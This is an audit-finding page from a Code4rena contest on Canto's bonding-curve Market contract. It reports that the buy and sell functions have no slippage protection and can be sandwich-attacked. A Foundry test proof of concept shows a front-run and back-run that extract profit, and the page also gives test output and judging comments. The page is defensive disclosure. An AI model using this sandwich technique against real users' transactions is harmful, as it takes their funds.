Canto Application Specific Dollars and Bonding Curves for 1155s - twcctop's results

Tokenizable bonding curves using a Stablecoin-as-a-Service token

General Information

Platform: Code4rena

Start Date: 13/11/2023

Pot Size: $24,500 USDC

Total HM: 3

Participants: 120

Period: 4 days

Judge: 0xTheC0der

Id: 306

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 120/120

Findings: 1

Award: $1.37

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/df7362f601f64ccb8afaf73ccd885109f8217498/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/df7362f601f64ccb8afaf73ccd885109f8217498/1155tech-contracts/src/Market.sol#L174

Vulnerability details

Impact

Market #buy and sell is vulnerable to sandwich attack. User may lose funds after call this functions.

Proof of Concept

When users call market #buy, they will get the buy price by function getBuyPrice. Let's look at this function, its value is affected by token count. The higher the count number is, the higher the return price value will be. So does the sell price. Malicious users can manipulate prices by front run and back run the normal buy function call. For example, front run buy to increase the current price, and back run buy to decrease the price. Suppose a situation, Bob want to buy some token, malicious user Alice notice this in mempool, he front run Bob's call to buy at a low price. After Bob buy, Alice call sell to get a profit.

Poc: paste this in Market.t.sol

//forge test --mt test_sandwitchAttack -vv
   function test_sandwitchAttack() public {
//        ---- prepare
       address  alice  =  address(11);
       testCreateNewShare();
       (uint256 priceBuy, uint256 feeBuy) = market.getBuyPrice(1, 10);
       token.transfer(alice, priceBuy+feeBuy);

//      ---- attack
       uint256 aliceBalanceBefore = token.balanceOf(alice);
       emit log_named_uint("alice balance before attack", aliceBalanceBefore);

       //alice front run
       vm.startPrank(alice);
       token.approve(address(market), type(uint256).max);
       market.buy(1, 10);
       vm.stopPrank();

       //user buy (get a higher price)
       token.approve(address(market), type(uint256).max);
       market.buy(1, 10);

       //alice back run
       vm.startPrank(alice);
       market.sell(1, 10);
       vm.stopPrank();

//    --calculate  profit
       uint256 aliceBalanceAfter = token.balanceOf(alice);
       emit log_named_uint("alice balance after attack", aliceBalanceAfter);
       uint256 profit = aliceBalanceAfter - aliceBalanceBefore;
       emit log_named_uint("alice profit", profit);

   }

Get output:

[PASS] test_sandwitchAttack() (gas: 525271)
Logs:
alice balance before attack: 57599999999999998
alice balance after attack: 152769583333333334
alice profit: 95169583333333336

alice gets a profit of 0.095e18.If he use flashloan to increase the price much higher, he will get a better profit.

Tools Used

foundry

To avoid this, in buy and sell, there should have slippage protection,the max or min price user can accept. Another thing to have a deadline protection, to prevent tx stay in mempool too long

Assessed type

MEV

#0 - c4-pre-sort

2023-11-18T09:52:24Z

minhquanym marked the issue as duplicate of #12

#1 - c4-judge

2023-11-28T23:14:14Z

MarioPoneder changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-11-28T23:27:11Z

MarioPoneder marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter